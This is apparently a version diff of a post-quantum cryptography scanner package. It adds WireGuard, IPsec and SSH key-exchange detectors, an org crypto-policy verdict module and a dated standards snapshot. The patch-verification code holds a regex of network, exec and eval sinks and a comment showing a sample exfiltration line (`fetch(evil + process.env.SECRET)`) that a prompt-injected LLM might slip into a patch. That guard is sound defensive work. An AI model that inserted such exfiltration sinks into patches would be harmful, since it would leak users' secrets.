@quantakrypto/core 0.4.3 → 0.4.4

package/src/detectors/vpn.ts

@@ -0,0 +1,131 @@
+/**
+ * Config detector: classical key exchange in network transport / VPN config —
+ * WireGuard, IPsec (strongSwan), and OpenSSH server config. These are the tunnels
+ * carrying "communication between things"; their key exchange is classical and so
+ * harvest-now-decrypt-later exposed (a recorded tunnel is decryptable once a CRQC
+ * exists).
+ *
+ * Covered (each gated so it only fires inside the relevant config):
+ *  - **WireGuard** — `[Interface]`/`[Peer]` sections with `PrivateKey`/`PublicKey`.
+ *    WireGuard's Noise handshake is Curve25519 with NO standard PQC option, so this
+ *    is an especially sharp finding: it cannot be made quantum-safe without a
+ *    tunnel-wrapping layer. The private key is treated as sensitive key material.
+ *  - **IPsec / strongSwan** — IKE/ESP proposals naming classical DH groups
+ *    (`modp*` = finite-field DH, `ecp*` = ECDH).
+ *  - **sshd_config / ssh_config** — a `KexAlgorithms` line that offers no PQC hybrid
+ *    KEX (`sntrup761x25519-*`, `mlkem768x25519-*`). If a PQC KEX IS listed the line
+ *    is left alone, so a hardened server stays silent.
+ */
+import type { Detector, Finding, RuleMeta } from "../types.js";
+import { eachMatch, findingFromRule } from "../detect-utils.js";
+import { CWE_BROKEN_CRYPTO } from "../cwe.js";
+
+const RE_WG_KEY = /\b(?:PrivateKey|PublicKey)\s*=\s*[A-Za-z0-9+/]{42,}=/g;
+const RE_IPSEC_MODP = /\bmodp\d+\b/gi;
+const RE_IPSEC_ECP = /\becp\d+(?:bp)?\b/gi;
+const RE_SSHD_KEX = /^[ \t]*KexAlgorithms[ \t]+([^\n]*)/gm;
+
+const RULE_WG: RuleMeta = {
+  id: "net-wireguard-x25519",
+  title: "WireGuard Curve25519 key",
+  description: "WireGuard [Interface]/[Peer] key — Curve25519 Noise handshake (no PQC option)",
+  category: "key-exchange",
+  severity: "high",
+  confidence: "high",
+  algorithm: "X25519",
+  hndl: true,
+  cwe: CWE_BROKEN_CRYPTO,
+  sensitive: true,
+  message:
+    "WireGuard tunnel keyed by classical Curve25519 (Noise); WireGuard has no standard post-quantum KEM, so the tunnel is harvest-now-decrypt-later exposed until wrapped by a PQC layer.",
+  remediation:
+    "Wrap the tunnel in a PQC-hybrid transport (e.g. a TLS 1.3 X25519MLKEM768 layer) or track WireGuard PQC proposals; rotate keys when available.",
+};
+const RULE_IPSEC_DH: RuleMeta = {
+  id: "net-ipsec-modp-dh",
+  title: "IPsec classical DH group (modp)",
+  description: "IPsec/strongSwan IKE/ESP proposal names a finite-field DH group (modp*)",
+  category: "key-exchange",
+  severity: "medium",
+  confidence: "high",
+  algorithm: "DH",
+  hndl: true,
+  cwe: CWE_BROKEN_CRYPTO,
+  message:
+    "IPsec proposal uses a classical finite-field Diffie-Hellman group (modp*); the tunnel key exchange is harvest-now-decrypt-later exposed.",
+  remediation: "Add a PQC/hybrid IKE proposal (ML-KEM) as your IPsec stack supports it.",
+};
+const RULE_IPSEC_EC: RuleMeta = {
+  id: "net-ipsec-ecp-ecdh",
+  title: "IPsec classical ECDH group (ecp)",
+  description: "IPsec/strongSwan IKE/ESP proposal names an elliptic-curve DH group (ecp*)",
+  category: "key-exchange",
+  severity: "medium",
+  confidence: "high",
+  algorithm: "ECDH",
+  hndl: true,
+  cwe: CWE_BROKEN_CRYPTO,
+  message:
+    "IPsec proposal uses a classical elliptic-curve Diffie-Hellman group (ecp*); the tunnel key exchange is harvest-now-decrypt-later exposed.",
+  remediation:
+    "Add a PQC/hybrid IKE proposal (X25519MLKEM768 / ML-KEM) as your IPsec stack supports it.",
+};
+const RULE_SSHD_KEX: RuleMeta = {
+  id: "net-sshd-classical-kex",
+  title: "SSH server offers no PQC key exchange",
+  description:
+    "sshd_config KexAlgorithms lists only classical key exchange (no sntrup761/mlkem768)",
+  category: "key-exchange",
+  severity: "medium",
+  confidence: "high",
+  algorithm: "ECDH",
+  hndl: true,
+  cwe: CWE_BROKEN_CRYPTO,
+  message:
+    "SSH server's KexAlgorithms offers only classical key exchange (no sntrup761x25519 / mlkem768x25519); sessions are harvest-now-decrypt-later exposed.",
+  remediation: "Add a PQC hybrid KEX: sntrup761x25519-sha512@openssh.com or mlkem768x25519-sha256.",
+};
+
+/** True when a KexAlgorithms value already offers a post-quantum hybrid KEX. */
+function offersPqKex(kexLine: string): boolean {
+  return /sntrup761x25519|mlkem768/.test(kexLine);
+}
+
+/** Detects classical key exchange in WireGuard / IPsec / sshd network config. */
+export const vpnDetector: Detector = {
+  id: "network-transport-crypto",
+  description: "Classical key exchange in network transport / VPN config (WireGuard, IPsec, sshd)",
+  scope: "config",
+  language: "any",
+  rules: [RULE_WG, RULE_IPSEC_DH, RULE_IPSEC_EC, RULE_SSHD_KEX],
+  appliesTo: (f) => {
+    const lower = f.toLowerCase();
+    const base = lower.split("/").pop() ?? lower;
+    return lower.endsWith(".conf") || base === "sshd_config" || base === "ssh_config";
+  },
+  detect({ file, content }): Finding[] {
+    const findings: Finding[] = [];
+    const push = (rule: RuleMeta, index: number, length: number) =>
+      findings.push(findingFromRule(rule, { file, content, index, matchLength: length }));
+
+    // WireGuard: gated to a WireGuard config section.
+    if (content.includes("[Interface]") || content.includes("[Peer]")) {
+      eachMatch(RE_WG_KEY, content, (m) => push(RULE_WG, m.index, m[0].length));
+    }
+
+    // IPsec / strongSwan: gated to a proposal assignment.
+    if (/\b(?:ike|esp|proposals?|keyexchange)\s*=/i.test(content)) {
+      eachMatch(RE_IPSEC_MODP, content, (m) => push(RULE_IPSEC_DH, m.index, m[0].length));
+      eachMatch(RE_IPSEC_ECP, content, (m) => push(RULE_IPSEC_EC, m.index, m[0].length));
+    }
+
+    // sshd_config / ssh_config: KexAlgorithms line with no PQC hybrid offered.
+    const base = file.toLowerCase().split("/").pop() ?? "";
+    if (base === "sshd_config" || base === "ssh_config") {
+      eachMatch(RE_SSHD_KEX, content, (m) => {
+        if (!offersPqKex(m[1])) push(RULE_SSHD_KEX, m.index, m[0].length);
+      });
+    }
+    return findings;
+  },
+};

package/src/evidence.ts

@@ -21,6 +21,8 @@ import { createHash } from "node:crypto";
 import type { ScanResult } from "./types.js";
 import { toCbom } from "./cbom.js";
 import { VERSION } from "./version.js";
+import { buildPolicyMapping } from "./policy.js";
+import type { CryptoPolicy, PolicyMapping } from "./policy.js";
 
 /** Stable per-finding record for the evidence body (deterministic per commit). */
 export interface EvidenceFinding {
@@ -44,6 +46,8 @@ export interface ReadinessReport {
   tool: { name: "qScan"; version: string };
   inventory: ScanResult["inventory"];
   findings: EvidenceFinding[];
+  /** §4 policy verdicts, present only when a crypto policy was supplied. */
+  policyMapping?: PolicyMapping;
   cbom: unknown;
   attestation: {
     /** sha256 over the canonicalized deterministic body (excludes scanTimeUtc). */
@@ -73,6 +77,8 @@ export interface ReadinessReportOptions {
   repository?: string;
   /** Full commit SHA (e.g. from `GITHUB_SHA`); omitted → null. */
   commit?: string;
+  /** Optional org cryptography policy — adds the §4 `policyMapping` verdicts. */
+  policy?: CryptoPolicy;
 }
 
 /**
@@ -97,6 +103,10 @@ export function buildReadinessReport(
   // its CycloneDX envelope carries a volatile timestamp/serial — so it is
   // EXCLUDED from the hashed body (its integrity follows from its hashed inputs)
   // to keep the content hash reproducible across scan runs on the same commit.
+  // §4: if the org supplied a crypto policy, attest the per-finding verdicts too.
+  // Deterministic (same findings + policy → same mapping), so it is hashed.
+  const policyMapping = opts.policy ? buildPolicyMapping(result.findings, opts.policy) : undefined;
+
   const hashableBody = {
     reportType: "quantakrypto-readiness",
     specVersion: 1,
@@ -108,6 +118,7 @@ export function buildReadinessReport(
     tool: { name: "qScan", version: VERSION },
     inventory: result.inventory,
     findings,
+    ...(policyMapping ? { policyMapping } : {}),
   };
   const contentHash =
     "sha256:" +

package/src/index.ts

@@ -110,10 +110,16 @@ export type { ReportOptions } from "./report.js";
 // CycloneDX 1.6 cryptographic bill of materials (CBOM) export.
 export { toCbom } from "./cbom.js";
 export type { CycloneDxBom, CbomComponent } from "./cbom.js";
+// Merge multiple CBOMs (code + infra + live endpoints) into one combined BOM.
+export { mergeCboms } from "./cbom-merge.js";
 // ISO/IEC 27001 A.8.24 evidence-chain readiness report.
 export { buildReadinessReport } from "./evidence.js";
 export type { ReadinessReport, EvidenceFinding, ReadinessReportOptions } from "./evidence.js";
 
+// Cryptography policy → per-finding verdicts (A.8.24 evidence §4).
+export { buildPolicyMapping, parseCryptoPolicy, verdictForAlgorithm } from "./policy.js";
+export type { CryptoPolicy, PolicyVerdict, PolicyMapping, PolicyFindingVerdict } from "./policy.js";
+
 // Remediation lookup (family + tier-aware) and stateful-HBS guidance.
 export {
   remediationFor,
@@ -125,6 +131,10 @@ export {
 } from "./remediation.js";
 export type { SecurityTier } from "./remediation.js";
 
+// Post-quantum standards source of truth + review cadence.
+export { PQC_STANDARDS, standardsReviewStatus } from "./standards.js";
+export type { PqcStandards, StandardsCitation, StandardsReviewStatus } from "./standards.js";
+
 // CWE identifier constants.
 export {
   CWE_BROKEN_CRYPTO,

package/src/policy.ts

@@ -0,0 +1,180 @@
+/**
+ * Machine-readable cryptography policy → per-finding verdicts for the ISO/IEC
+ * 27001 A.8.24 evidence report (docs/compliance/iso27001-a8.24-evidence.md §4).
+ *
+ * An organization supplies a policy listing which classical algorithm families it
+ * prohibits, permits, or is actively transitioning off. `buildPolicyMapping` then
+ * flags each qScan finding as `conformant` / `violation` / `transition-pending`
+ * against that policy — turning the neutral inventory into audit-ready evidence
+ * that the org *assesses* its cryptography against a defined policy.
+ *
+ * Honesty boundary: without a policy the report stays neutral inventory and the
+ * ORG owns the conformance judgment (COMPLIANCE.md §3). The policy is a permit-
+ * list: a classical family not named anywhere defaults to a violation (unmanaged
+ * crypto is a policy gap), overridable via `defaultVerdict`.
+ */
+import type { AlgorithmFamily, Finding } from "./types.js";
+
+/** The three verdicts a finding can carry against a policy. */
+export type PolicyVerdict = "conformant" | "violation" | "transition-pending";
+
+/** The complete set of algorithm families a policy may reference. */
+const ALGORITHM_FAMILIES: readonly AlgorithmFamily[] = [
+  "RSA",
+  "ECDH",
+  "ECDSA",
+  "EdDSA",
+  "DH",
+  "DSA",
+  "X25519",
+  "X448",
+  "ECIES",
+  "unknown",
+];
+
+/** An organization-supplied cryptography policy (from a JSON file). */
+export interface CryptoPolicy {
+  /** Human name / version of the policy, recorded in the evidence report. */
+  name?: string;
+  /** Families the org explicitly accepts (e.g. short-lived signatures) → conformant. */
+  permitted?: AlgorithmFamily[];
+  /** Families the org prohibits outright → violation. */
+  prohibited?: AlgorithmFamily[];
+  /** Families being actively migrated, allowed within the window → transition-pending. */
+  inTransition?: AlgorithmFamily[];
+  /** Optional migration deadline (ISO date / year), recorded for context. */
+  transitionDeadline?: string;
+  /** Verdict for a family named in none of the lists. Default: `"violation"`. */
+  defaultVerdict?: PolicyVerdict;
+}
+
+/** One finding's verdict against the policy. */
+export interface PolicyFindingVerdict {
+  ruleId: string;
+  algorithm: AlgorithmFamily | "unknown";
+  file: string;
+  line: number;
+  verdict: PolicyVerdict;
+  reason: string;
+}
+
+/** The `policyMapping` block added to the evidence report. */
+export interface PolicyMapping {
+  policyName: string | null;
+  transitionDeadline: string | null;
+  summary: Record<PolicyVerdict, number>;
+  findings: PolicyFindingVerdict[];
+}
+
+/** Resolve one algorithm family's verdict + a human reason against a policy. */
+export function verdictForAlgorithm(
+  algorithm: AlgorithmFamily | undefined,
+  policy: CryptoPolicy,
+): { verdict: PolicyVerdict; reason: string } {
+  const algo = algorithm ?? "unknown";
+  if (policy.prohibited?.includes(algo)) {
+    return { verdict: "violation", reason: `${algo} is prohibited by the policy.` };
+  }
+  if (policy.inTransition?.includes(algo)) {
+    return {
+      verdict: "transition-pending",
+      reason: `${algo} is being migrated (in the policy's transition set).`,
+    };
+  }
+  if (policy.permitted?.includes(algo)) {
+    return { verdict: "conformant", reason: `${algo} is permitted by the policy.` };
+  }
+  const fallback = policy.defaultVerdict ?? "violation";
+  return {
+    verdict: fallback,
+    reason: `${algo} is not named in the policy (default verdict: ${fallback}).`,
+  };
+}
+
+/**
+ * Map every finding to a policy verdict, with per-verdict counts. Deterministic:
+ * the same findings + policy always yield the same mapping (safe to hash in the
+ * A.8.24 evidence attestation).
+ */
+export function buildPolicyMapping(
+  findings: readonly Finding[],
+  policy: CryptoPolicy,
+): PolicyMapping {
+  const summary: Record<PolicyVerdict, number> = {
+    conformant: 0,
+    violation: 0,
+    "transition-pending": 0,
+  };
+  const mapped: PolicyFindingVerdict[] = findings.map((f) => {
+    const { verdict, reason } = verdictForAlgorithm(f.algorithm, policy);
+    summary[verdict]++;
+    return {
+      ruleId: f.ruleId,
+      algorithm: f.algorithm ?? "unknown",
+      file: f.location.file,
+      line: f.location.line,
+      verdict,
+      reason,
+    };
+  });
+  return {
+    policyName: policy.name ?? null,
+    transitionDeadline: policy.transitionDeadline ?? null,
+    summary,
+    findings: mapped,
+  };
+}
+
+/**
+ * Validate + normalize a parsed policy object (from an operator's JSON file).
+ * Throws a `TypeError` with a clear message on anything malformed — a bad policy
+ * file must fail loudly, never silently degrade the evidence verdict.
+ */
+export function parseCryptoPolicy(raw: unknown): CryptoPolicy {
+  if (!raw || typeof raw !== "object" || Array.isArray(raw)) {
+    throw new TypeError("crypto policy must be a JSON object");
+  }
+  const obj = raw as Record<string, unknown>;
+  const validFamilies = new Set<string>(ALGORITHM_FAMILIES);
+  const list = (key: string): AlgorithmFamily[] | undefined => {
+    const v = obj[key];
+    if (v === undefined) return undefined;
+    if (!Array.isArray(v))
+      throw new TypeError(`policy "${key}" must be an array of algorithm families`);
+    for (const item of v) {
+      if (typeof item !== "string" || !validFamilies.has(item)) {
+        throw new TypeError(
+          `policy "${key}" has an unknown algorithm family ${JSON.stringify(item)}; expected one of ${ALGORITHM_FAMILIES.join(", ")}`,
+        );
+      }
+    }
+    return v as AlgorithmFamily[];
+  };
+  const verdicts = new Set<PolicyVerdict>(["conformant", "violation", "transition-pending"]);
+  let defaultVerdict: PolicyVerdict | undefined;
+  if (obj.defaultVerdict !== undefined) {
+    if (
+      typeof obj.defaultVerdict !== "string" ||
+      !verdicts.has(obj.defaultVerdict as PolicyVerdict)
+    ) {
+      throw new TypeError(`policy "defaultVerdict" must be one of ${[...verdicts].join(", ")}`);
+    }
+    defaultVerdict = obj.defaultVerdict as PolicyVerdict;
+  }
+  if (obj.name !== undefined && typeof obj.name !== "string") {
+    throw new TypeError('policy "name" must be a string');
+  }
+  if (obj.transitionDeadline !== undefined && typeof obj.transitionDeadline !== "string") {
+    throw new TypeError('policy "transitionDeadline" must be a string');
+  }
+  return {
+    ...(obj.name !== undefined ? { name: obj.name as string } : {}),
+    ...(list("permitted") ? { permitted: list("permitted") } : {}),
+    ...(list("prohibited") ? { prohibited: list("prohibited") } : {}),
+    ...(list("inTransition") ? { inTransition: list("inTransition") } : {}),
+    ...(obj.transitionDeadline !== undefined
+      ? { transitionDeadline: obj.transitionDeadline as string }
+      : {}),
+    ...(defaultVerdict !== undefined ? { defaultVerdict } : {}),
+  };
+}

package/src/registry.ts

@@ -18,8 +18,23 @@ import { javaDetector } from "./detectors/java.js";
 import { csharpDetector } from "./detectors/csharp.js";
 import { rustDetector } from "./detectors/rust.js";
 import { rubyDetector } from "./detectors/ruby.js";
+import { phpDetector } from "./detectors/php.js";
+import { elixirDetector } from "./detectors/elixir.js";
 import { cDetector } from "./detectors/c.js";
 import { pemDetector } from "./detectors/pem.js";
+import { jwkDetector } from "./detectors/jwk.js";
+import { terraformDetector } from "./detectors/terraform.js";
+import { cloudKmsDetector } from "./detectors/cloud-kms.js";
+import { cicdDetector } from "./detectors/cicd.js";
+import { secretsDetector } from "./detectors/secrets.js";
+import { joseDetector } from "./detectors/jose.js";
+import { k8sDetector } from "./detectors/k8s.js";
+import { messagingDetector } from "./detectors/messaging.js";
+import { databaseDetector } from "./detectors/database.js";
+import { cloudformationDetector } from "./detectors/cloudformation.js";
+import { meshDetector } from "./detectors/mesh.js";
+import { dnssecDetector } from "./detectors/dnssec.js";
+import { vpnDetector } from "./detectors/vpn.js";
 import { statefulHbsDetector } from "./detectors/stateful-hbs.js";
 
 /** Normalised scope of a detector (defaults to "source" when undeclared). */
@@ -127,8 +142,23 @@ export const builtinDetectors: Detector[] = [
   csharpDetector,
   rustDetector,
   rubyDetector,
+  phpDetector,
+  elixirDetector,
   cDetector,
   pemDetector,
+  jwkDetector,
+  terraformDetector,
+  cloudKmsDetector,
+  cicdDetector,
+  secretsDetector,
+  joseDetector,
+  k8sDetector,
+  messagingDetector,
+  databaseDetector,
+  cloudformationDetector,
+  meshDetector,
+  dnssecDetector,
+  vpnDetector,
   statefulHbsDetector,
 ];
 

package/src/remediate-pipeline.ts

@@ -52,8 +52,20 @@ function passesVerify(before: Finding[], after: Finding[], finding: Finding): bo
  * RSA call and add `fetch(evil + process.env.SECRET)` and still pass. This guard
  * runs ONLY on `source: "llm"` patches (codemods are deterministic + trusted).
  */
-const NEW_SINK_RE =
-  /\b(?:fetch|XMLHttpRequest|WebSocket|navigator\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\s*\(|spawn\s*\(|eval\s*\(|new\s+Function|os\.system|subprocess|Runtime\.getRuntime|require\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"]|import\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"])/g;
+// Node built-in exfil/RCE modules, matched with an OPTIONAL `node:` prefix
+// (idiomatic modern Node — the bare-only form was bypassable) and in BOTH
+// require()/import() call forms AND static `import … from "…"` — the static
+// form has no parens so the old dynamic-only pattern missed it entirely.
+const SINK_MODULES = "child_process|http|https|http2|net|tls|dns|dgram";
+const NEW_SINK_RE = new RegExp(
+  "\\b(?:fetch|XMLHttpRequest|WebSocket|navigator\\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\\s*\\(|spawn\\s*\\(|eval\\s*\\(|new\\s+Function|os\\.system|subprocess|Runtime\\.getRuntime" +
+    `|require\\s*\\(\\s*['"](?:node:)?(?:${SINK_MODULES})['"]` +
+    `|import\\s*\\(\\s*['"](?:node:)?(?:${SINK_MODULES})['"]` +
+    `|import\\s+[^;\\n]{0,200}?from\\s*['"](?:node:)?(?:${SINK_MODULES})['"])`,
+  "g",
+);
+/** Stateless (non-global) sibling of {@link NEW_SINK_RE} for per-line `.test()`. */
+const NEW_SINK_LINE_RE = new RegExp(NEW_SINK_RE.source);
 
 /** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix
  * is localized; a sprawling rewrite is not reviewable as "just the fix". */
@@ -81,6 +93,17 @@ function changedLineCount(before: string, after: string): number {
 
 /** Reason an LLM patch is unsafe to auto-verify, or null when it is bounded. */
 function llmPatchRisk(before: string, patch: Patch): string | null {
+  // Reject any exfil/RCE sink on a line the patch ADDS. More robust than a bare
+  // count: it catches a sink SWAPPED into a file that already had one, and does
+  // not depend on the total count rising (trimmed line-set membership).
+  const beforeLines = new Set(before.split("\n").map((l) => l.trim()));
+  const addsSink = patch.newContent
+    .split("\n")
+    .some((l) => !beforeLines.has(l.trim()) && NEW_SINK_LINE_RE.test(l));
+  if (addsSink) {
+    return "LLM patch adds a network/exec/eval sink on a new line (possible prompt-injection); rejected — review the diff manually";
+  }
+  // Backstop: the total sink count must not rise either.
   if (countMatches(NEW_SINK_RE, patch.newContent) > countMatches(NEW_SINK_RE, before)) {
     return "LLM patch introduces a new network/exec/eval sink (possible prompt-injection); rejected — review the diff manually";
   }

package/src/report.ts

@@ -9,6 +9,7 @@ import { SEVERITY_ORDER, sarifLevel } from "./severity.js";
 import { ANALYZABLE_LANGUAGES_LABEL } from "./detect-utils.js";
 import { remediationFor, remediationForTier } from "./remediation.js";
 import type { SecurityTier } from "./remediation.js";
+import { fingerprintFinding } from "./baseline.js";
 
 /** Minimal SARIF 2.1.0 log shape (kept permissive on purpose). */
 export interface SarifLog {
@@ -162,6 +163,12 @@ export function toSarif(result: ScanResult, opts?: ReportOptions): SarifLog {
       ruleIndex: ruleIndex.get(f.ruleId),
       level: sarifLevel(f.severity),
       message: { text: f.message },
+      // Line-INSENSITIVE fingerprint (the same one the baseline uses:
+      // sha256 of ruleId|file|normalizedSnippet). GitHub code scanning keys
+      // alert identity + dedup off partialFingerprints, so a finding survives
+      // line shifts and reformatting instead of re-alerting as "new" on every
+      // edit above it. `quantakrypto/v1` names our scheme.
+      partialFingerprints: { "quantakrypto/v1": fingerprintFinding(f) },
       properties: {
         category: f.category,
         severity: f.severity,

package/src/standards.ts

@@ -0,0 +1,186 @@
+/**
+ * Single source of truth for the post-quantum standards this tool depends on.
+ *
+ * The scanner's credibility rests on its recommendations tracking the current
+ * NIST / CNSA / IETF state. That tracking used to be ad-hoc — facts were spread
+ * across `remediation.ts` with no dates, no citations, and nothing to catch code
+ * drifting from the published standards. This module makes the standards facts
+ * explicit, dated, and cited, and the companion drift test
+ * (`test/standards.test.ts`) fails the build if the runtime constants
+ * (`TIER_PARAMS`, `PQC_TRANSITION_NOTE`, `STATEFUL_HBS_NOTE`) fall out of sync
+ * with what is recorded here.
+ *
+ * ## Cadence
+ *
+ * Re-verify every quarter (see `docs/standards/pqc-standards.md` for the runbook).
+ * On each review: check the sources below for changes, update the facts + their
+ * `asOf`, and roll `lastReviewed` / `nextReview` forward. `scripts/standards-check.mjs`
+ * (advisory, runs in CI) flags when `nextReview` has passed so a review can't be
+ * silently skipped. `standardsReviewStatus(now)` is the pure predicate behind it.
+ */
+
+/** A single standards fact with its citation and when it was last verified. */
+export interface StandardsCitation {
+  /** One-line statement of the fact. */
+  readonly summary: string;
+  /** Spec identifier / publication (and URL where stable). */
+  readonly source: string;
+  /** `YYYY-MM` — when this fact was last verified against its source. */
+  readonly asOf: string;
+}
+
+/** The full post-quantum standards snapshot the tool tracks. */
+export interface PqcStandards {
+  /** `YYYY-MM-DD` — when the whole snapshot was last reviewed. */
+  readonly lastReviewed: string;
+  /** `YYYY-MM-DD` — when the next review is due. */
+  readonly nextReview: string;
+  /** Cadence, in months, between reviews. */
+  readonly reviewIntervalMonths: number;
+
+  /** NIST's finalized PQC FIPS (the recommendation targets). */
+  readonly fips: {
+    readonly mlKem: StandardsCitation; // FIPS 203
+    readonly mlDsa: StandardsCitation; // FIPS 204
+    readonly slhDsa: StandardsCitation; // FIPS 205
+  };
+
+  /**
+   * CNSA 2.0 security tiers → the KEM / signature parameter sets. These MUST
+   * mirror `remediation.TIER_PARAMS`; the drift test asserts they stay identical.
+   */
+  readonly cnsa: {
+    readonly category3: { readonly kem: string; readonly signature: string };
+    readonly category5: { readonly kem: string; readonly signature: string };
+    readonly source: string;
+    readonly asOf: string;
+  };
+
+  /** Stateful hash-based signatures (firmware / boot signing). */
+  readonly statefulHbs: StandardsCitation; // SP 800-208
+
+  /** The migration deadline the transition note surfaces. */
+  readonly transitionTimeline: {
+    /** Year after which classical public-key crypto is deprecated. */
+    readonly deprecateAfter: number;
+    /** Year after which it is disallowed. */
+    readonly disallowAfter: number;
+    readonly source: string;
+    readonly asOf: string;
+  };
+
+  /** Emerging / backup standards worth tracking beyond the current FIPS. */
+  readonly emerging: readonly StandardsCitation[];
+
+  /** Recommended hybrid key-exchange groups. */
+  readonly hybrids: readonly StandardsCitation[];
+}
+
+/**
+ * The current snapshot. Update on each quarterly review; the drift test keeps the
+ * runtime remediation constants aligned with it.
+ */
+export const PQC_STANDARDS: PqcStandards = {
+  lastReviewed: "2026-07-19",
+  nextReview: "2026-10-19",
+  reviewIntervalMonths: 3,
+
+  fips: {
+    mlKem: {
+      summary: "ML-KEM (Kyber) key encapsulation — finalized August 2024.",
+      source: "NIST FIPS 203",
+      asOf: "2026-07",
+    },
+    mlDsa: {
+      summary: "ML-DSA (Dilithium) lattice signatures — finalized August 2024.",
+      source: "NIST FIPS 204",
+      asOf: "2026-07",
+    },
+    slhDsa: {
+      summary: "SLH-DSA (SPHINCS+) stateless hash-based signatures — finalized August 2024.",
+      source: "NIST FIPS 205",
+      asOf: "2026-07",
+    },
+  },
+
+  cnsa: {
+    category3: { kem: "ML-KEM-768 (FIPS 203)", signature: "ML-DSA-65 (FIPS 204)" },
+    category5: { kem: "ML-KEM-1024 (FIPS 203)", signature: "ML-DSA-87 (FIPS 204)" },
+    source: "NSA CNSA 2.0 (national-security systems; 2030/2033 migration milestones)",
+    asOf: "2026-07",
+  },
+
+  statefulHbs: {
+    summary:
+      "LMS/HSS and XMSS/XMSSMT stateful hash-based signatures (incl. the SHAKE256 and " +
+      "192-bit parameter sets) are approved for firmware/boot signing, but are STATEFUL.",
+    source: "NIST SP 800-208",
+    asOf: "2026-07",
+  },
+
+  transitionTimeline: {
+    deprecateAfter: 2030,
+    disallowAfter: 2035,
+    source: "NIST IR 8547 (transition to post-quantum cryptography standards)",
+    asOf: "2026-07",
+  },
+
+  emerging: [
+    {
+      summary:
+        "HQC — NIST's code-based backup KEM (selected March 2025; draft FIPS expected ~2026), a " +
+        "diversity hedge against ML-KEM's lattice assumption.",
+      source: "NIST PQC (HQC selection)",
+      asOf: "2026-07",
+    },
+    {
+      summary: "FN-DSA / Falcon — compact lattice signatures.",
+      source: "NIST draft FIPS 206",
+      asOf: "2026-07",
+    },
+    {
+      summary: "X-Wing — X25519 + ML-KEM-768 hybrid KEM for HPKE-style encryption.",
+      source: "IETF draft-connolly-cfrg-xwing-kem",
+      asOf: "2026-07",
+    },
+  ],
+
+  hybrids: [
+    {
+      summary: "X25519MLKEM768 — the default TLS 1.3 hybrid key-exchange group.",
+      source: "IETF draft-ietf-tls-ecdhe-mlkem",
+      asOf: "2026-07",
+    },
+    {
+      summary: "SecP384r1MLKEM1024 — the Category-5 / CNSA hybrid key-exchange group.",
+      source: "IETF draft-ietf-tls-ecdhe-mlkem",
+      asOf: "2026-07",
+    },
+  ],
+};
+
+/** Result of {@link standardsReviewStatus}. */
+export interface StandardsReviewStatus {
+  /** True when `now` is on or after `nextReview` — a review is due. */
+  readonly due: boolean;
+  /** The `nextReview` date being compared against (`YYYY-MM-DD`). */
+  readonly nextReview: string;
+  /** Whole days from `now` until `nextReview` (negative when overdue). */
+  readonly daysUntil: number;
+}
+
+/**
+ * Whether a standards review is due as of `now`. Pure (takes `now` explicitly) so
+ * it is deterministic in tests; the CI script passes the real clock. Compares on
+ * whole UTC days so a same-day run is not spuriously "overdue".
+ */
+export function standardsReviewStatus(
+  now: Date,
+  standards: PqcStandards = PQC_STANDARDS,
+): StandardsReviewStatus {
+  const MS_PER_DAY = 86_400_000;
+  const next = Date.parse(`${standards.nextReview}T00:00:00Z`);
+  const today = Date.UTC(now.getUTCFullYear(), now.getUTCMonth(), now.getUTCDate());
+  const daysUntil = Math.round((next - today) / MS_PER_DAY);
+  return { due: daysUntil <= 0, nextReview: standards.nextReview, daysUntil };
+}